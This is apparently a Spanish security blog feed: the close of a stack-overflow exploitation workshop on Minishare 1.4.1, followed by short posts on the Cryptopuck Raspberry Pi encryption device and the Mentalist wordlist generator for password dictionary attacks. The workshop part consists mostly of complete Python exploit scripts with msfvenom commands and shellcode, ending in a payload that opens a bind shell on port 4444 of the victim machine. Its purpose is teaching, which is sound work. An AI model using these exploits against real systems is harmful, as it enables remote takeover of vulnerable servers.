shellcode += "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
shellcode += "\xa1\xa2\xa3\xa4\
2xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
shellcode += "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
shellcode += "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

exploit="GET " + junk + eip + nops + shellcode + " HTTP/1.1\r\n\r\n"

s.send(exploit)
s.close()

Finalmente comprobamos en Immunity que están todos los caracteres en memoria:


Por fin, ya tenemos el espacio disponible y preparado para insertar y ejecutar nuestro shellcode. Os remito ya a la última entrada (esta vez más breve) donde generaremos y ejecutaremos shellcodes para abrir una calculadora (aplicación de ejemplo) y, el objetivo final, una shell de Metasploit.

Taller de iniciación al exploiting: desbordamiento de pila (4) - ejecución del shellcode

$
0
0
En las entradas anteriores de esta serie hemos sido capaces de provocar un desbordamiento de pila en un programa (Minishare) y controlar su flujo de ejecución para redireccionarlo hacia donde hemos preparado la ubicación de nuestro shellcode, así que ya sólo nos queda crear ese shellcode e insertarlo en nuestro exploit para que sea completamente funcional.

Para ello usaremos msfvenom, una utilidad de Metasploit con la que podremos generar y encodear fácilmente payloads.

Primero generaremos un payload para ejecutar la típica calculadora como prueba de concepto. Tenemos que aseguraremos que el shellcode que se crea esté libre de los caracteres incorrectos o "bad characters" más usuales "\x00\x0a\x0d" que, de no eliminarse, podrían hacer que el shellcode sea inviable. El comando resultante sería:

msfvenom -a x86 --platform Windows -p windows/exec cmd=calc.exe-b '\x00\x0a\x0d' -f python


Lo copiamos y pegamos a nuestro exploit:

EXPLOIT K
#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

junk = "\x41" * 1787
eip = "\x77\x9c\x55\x77" # 0x77559c77
nops = "\x90" * 32

# msfvenom -a x86 --platform Windows -p windows/exec cmd=calc.exe -b '\x00\x0a\x0d' -f python

shellcode =  ""
shellcode += "\xba\x6a\xfc\x07\x12\xd9\xe8\xd9\x74\x24\xf4\x5e\x29"
shellcode += "\xc9\xb1\x31\x83\xee\xfc\x31\x56\x0f\x03\x56\x65\x1e"
shellcode += "\xf2\xee\x91\x5c\xfd\x0e\x61\x01\x77\xeb\x50\x01\xe3"
shellcode += "\x7f\xc2\xb1\x67\x2d\xee\x3a\x25\xc6\x65\x4e\xe2\xe9"
shellcode += "\xce\xe5\xd4\xc4\xcf\x56\x24\x46\x53\xa5\x79\xa8\x6a"
shellcode += "\x66\x8c\xa9\xab\x9b\x7d\xfb\x64\xd7\xd0\xec\x01\xad"
shellcode += "\xe8\x87\x59\x23\x69\x7b\x29\x42\x58\x2a\x22\x1d\x7a"
shellcode += "\xcc\xe7\x15\x33\xd6\xe4\x10\x8d\x6d\xde\xef\x0c\xa4"
shellcode += "\x2f\x0f\xa2\x89\x80\xe2\xba\xce\x26\x1d\xc9\x26\x55"
shellcode += "\xa0\xca\xfc\x24\x7e\x5e\xe7\x8e\xf5\xf8\xc3\x2f\xd9"
shellcode += "\x9f\x80\x23\x96\xd4\xcf\x27\x29\x38\x64\x53\xa2\xbf"
shellcode += "\xab\xd2\xf0\x9b\x6f\xbf\xa3\x82\x36\x65\x05\xba\x29"
shellcode += "\xc6\xfa\x1e\x21\xea\xef\x12\x68\x60\xf1\xa1\x16\xc6"
shellcode += "\xf1\xb9\x18\x76\x9a\x88\x93\x19\xdd\x14\x76\x5e\x11"
shellcode += "\x5f\xdb\xf6\xba\x06\x89\x4b\xa7\xb8\x67\x8f\xde\x3a"
shellcode += "\x82\x6f\x25\x22\xe7\x6a\x61\xe4\x1b\x06\xfa\x81\x1b"
shellcode += "\xb5\xfb\x83\x7f\x58\x68\x4f\xae\xff\x08\xea\xae"



exploit="GET " + junk + eip + nops + shellcode + " HTTP/1.1\r\n\r\n"

s.send(exploit)
s.close()

y al ejecutarlo, debería abrirse la calculadora como se muestra a continuación:


Ahora que vemos que todo ha funcionado correctamente llegamos al último y digamos "más práctico" exploit, que si una víctima ejecuta en un equipo con el servidor Minishare vulnerable, hará que levante una shell directa o bind.

Volvemos a generarlo también con msfvenom:

msfvenom -a x86 --platform windows -p windows/shell/bind_tcp -b '\x00\x0d\x0a' -e x86/shikata_ga_nai -f python


Fijaros que el tamaño del payload es 326 bytes, espacio suficiente puesto que habíamos alojado hasta 409. Lo incorporamos al exploit final y ejecutamos:

EXPLOIT L
#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

junk = "\x41" * 1787
eip = "\x77\x9c\x55\x77" # 0x77559c77
nops = "\x90" * 32

# msfvenom -a x86 --platform windows -p windows/shell/bind_tcp -b '\x00\x0d\x0a' -e x86/shikata_ga_nai -f python

shellcode =  ""
shellcode += "\xba\x8c\x69\x1e\x49\xda\xd1\xd9\x74\x24\xf4\x5f\x2b"
shellcode += "\xc9\xb1\x4b\x31\x57\x15\x03\x57\x15\x83\xc7\x04\xe2"
shellcode += "\x79\x95\xf6\xcb\x81\x66\x07\xac\x08\x83\x36\xec\x6e"
shellcode += "\xc7\x69\xdc\xe5\x85\x85\x97\xab\x3d\x1d\xd5\x63\x31"
shellcode += "\x96\x50\x55\x7c\x27\xc8\xa5\x1f\xab\x13\xf9\xff\x92"
shellcode += "\xdb\x0c\x01\xd2\x06\xfc\x53\x8b\x4d\x52\x44\xb8\x18"
shellcode += "\x6e\xef\xf2\x8d\xf6\x0c\x42\xaf\xd7\x82\xd8\xf6\xf7"
shellcode += "\x25\x0c\x83\xbe\x3d\x51\xae\x09\xb5\xa1\x44\x88\x1f"
shellcode += "\xf8\xa5\x26\x5e\x34\x54\x37\xa6\xf3\x87\x42\xde\x07"
shellcode += "\x35\x54\x25\x75\xe1\xd1\xbe\xdd\x62\x41\x1b\xdf\xa7"
shellcode += "\x17\xe8\xd3\x0c\x5c\xb6\xf7\x93\xb1\xcc\x0c\x1f\x34"
shellcode += "\x03\x85\x5b\x12\x87\xcd\x38\x3b\x9e\xab\xef\x44\xc0"
shellcode += "\x13\x4f\xe0\x8a\xbe\x84\x99\xd0\xd6\x69\x93\xea\x26"
shellcode += "\xe6\xa4\x99\x14\xa9\x1e\x36\x15\x22\xb8\xc1\x5a\x19"
shellcode += "\x7c\x5d\xa5\xa2\x7c\x77\x62\xf6\x2c\xef\x43\x77\xa7"
shellcode += "\xef\x6c\xa2\x5d\xfb\xcb\x1d\x43\x06\x81\x9c\xe9\xfb"
shellcode += "\x3e\x75\xe2\x24\x5e\x76\x29\x4d\xf7\x8b\xd1\x63\x54"
shellcode += "\x05\x37\xe9\x74\x43\xe0\x86\xb6\xb0\x39\x30\xc8\x92"
shellcode += "\xc0\x7e\x43\x45\x9d\x16\x1b\x9c\x19\x18\x9c\x8a\x0e"
shellcode += "\x8e\x17\xd9\x8b\xaf\x27\xf4\xbc\xb8\xb0\x82\x2c\x8a"
shellcode += "\x21\x92\x65\x7e\xa2\x06\x81\x29\xf5\xbe\x8b\x0c\x31"
shellcode += "\x61\x74\x7b\x41\x66\x8a\xfa\x6b\x1c\xbc\x68\x34\x4a"
shellcode += "\xc0\x7c\xb4\x8a\x96\x16\xb4\xe2\x4e\x43\xe7\x17\x91"
shellcode += "\x5e\x9b\x8b\x07\x61\xca\x78\x80\x09\xf0\xa7\xe6\x95"
shellcode += "\x0b\x82\x75\xd1\xf4\x53\x7e\x23\x36\x82\x46\x56\x51"
shellcode += "\x16"


exploit="GET " + junk + eip + nops + shellcode + " HTTP/1.1\r\n\r\n"

s.send(exploit)
s.close()

Si comprobamos los puertos abiertos (netstat -a) veremos que la shell ya está levantada escuchando en el puerto 4444:


Por lo que podríamos conectarnos a la máquina de la víctima y todo a raíz de una vulnerabilidad de desbordamiento de pila...



Y hasta aquí hemos llegado con el taller de iniciación del exploiting. Espero que hayáis disfrutado y aprendido tanto como nosotros y que estos artículos sean sólo el principio de una serie de ejercicios con los que iremos repasando y descubriendo nuevas técnicas de esta fascinante "rama" del hacking. ¡Hasta la próxima!

Fuentes:

- Taller "Palizón a la pila" de la Navaja Negra 2017
- Minishare 1.4.1 Bufferoverflow
- Exploting Buffer Overflow Minishare 1.4.1
- Smashing the Stack for Fun & Profit : Revived 


Taller de iniciación al exploiting: desbordamiento de pila
1.- sobrescribiendo el EIP
2.- controlando el flujo de la aplicación
3.- "acomodando" el espacio para nuestro payload
4.- ejecución del shellcode

Cryptopuck: un dispositivo (RPi) para cifrar rápidamente sin necesidad de computadora

$
0
0
A través de Hackaday descubrimos un interesante proyecto de Dimitris Platis llamado Cryptopuck, que combina una Raspberry Pi Zero, algunos programillas en Python y una caja impresa en 3D. El resultado es un dispositivo de cifrado completamente autónomo que cualquiera puede usar. Solo hay que insertar una unidad flash USB, esperar a que el LED deje de parpadear y todos sus archivos estarán cifrados de forma segura y solo podrán acceder a ellos quienes tengan la clave privada.

Según su autor (y con toda razón) un dispositivo como este podría ser muy valioso para reporteros y fotógrafos, manifestantes o, en realidad, cualquier persona que necesite una forma discreta de proteger datos rápidamente, sin tener acceso a una computadora.

El lado del hardware es realmente solo la RPi, un interruptor, un solo LED para notificaciones y una batería. La verdadera magia proviene del software, donde Dimitris usa PyCrypto para realizar el cifrado AES-256 y una combinación de pyinotify y udiskie para detectar nuevos volúmenes montados y actuar sobre ellos. Los diversos scripts de Python que componen la suite Cryptopuck están todos disponibles en la página GitHub del proyecto, pero Dimitris deja muy claro que el software se debe considerar una prueba de concepto y no se ha sometido a ningún tipo de auditoría de seguridad.


Proyecto: https://platis.solutions/blog/2017/10/10/cryptopuck-encrypt-removable-media-on-the-fly/
Github: https://github.com/platisd/cryptopuck

Mentalist: una herramienta gráfica para generar wordlists

$
0
0
Mentalist es una herramienta gráfica para la generación de listas de palabras personalizadas para ataques de diccionario. Utiliza paradigmas humanos comunes para construir contraseñas y puede generar una lista completa de palabras, así como reglas compatibles con Hashcat y John the Ripper.

Mentalist genera listas de palabras al unir nodos, que forman una cadena. El primer nodo de una cadena es siempre el nodo de palabras base. Cuando se procesa la cadena, cada palabra base pasa al siguiente nodo de la cadena, lo que puede modificar la palabra, dejarla igual o crear más variaciones de la misma. Finalmente, los resultados se escriben en un archivo de salida como la lista de palabras completa o las reglas para generar la lista equivalente.

Hay 5 tipos de nodos. Cada tipo tiene su propio conjunto de atributos, que se pueden agregar en cualquier combinación. Los atributos de un nodo determinan su función. Además, los atributos dentro del mismo nodo son mutuamente excluyentes entre sí.

Algunos nodos pueden producir más de una palabra de salida para cada palabra de entrada. En tales casos, solo el conjunto de palabras de salida únicas para una Palabra Base se pasa al siguiente nodo. En otras palabras, cada nodo realiza desduplicación en cada palabra base.

- Base words: Siempre el primer nodo dentro de la cadena de Mentalist. Proporciona las palabras raíz, que deben ser procesadas por cada nodo a medida que pasan por la cadena.
- Case: Cambia de mayúsculas a minúsculas y viceversa las letras dentro de la palabra. Cada atributo agregado a un nodo de Case produce una variación diferente de la palabra de entrada, a excepción del atributo 'No Case Change' que pasa a través de la palabra original.
- Substitution: Reemplaza los caracteres dentro de la palabra. Al igual que Case, cada atributo agregado a un nodo de Sustitución produce otra palabra de salida, sujeta a desduplicación. El atributo 'No Substitution' devuelve la palabra de entrada sin modificar.
- Append: Los nodos Append añaden cadenas al final de la palabra de entrada. La mayoría de los atributos Append producen muchas variaciones de la palabra de entrada. Por ejemplo, el atributo Numbers: Small (0-100) agrega 101 palabras de salida para cada palabra de entrada.
- Prepend: Los nodos Prepend agregan cadenas al comienzo de la palabra de entrada. Sus atributos y funcionalidad son idénticos a Append.

Cada nodo tiene la capacidad de realizar una o más acciones en las palabras de entrada. Estas acciones se especifican en los atributos de cada nodo. Los atributos dentro del mismo nodo son mutuamente excluyentes y, como consecuencia, un nodo no puede tener atributos duplicados.

La forma más rápida de aprender a utilizar Mentalist es simplemente descargar la aplicación precompilada o instalarla desde la fuente y jugar.



Puedes encontrar más información sobre los atributos de los nodos y una documentación más detallada en la Wiki del proyecto:

https://github.com/sc0tfree/mentalist/wiki
Viewing all 1661 articles
Browse latest View live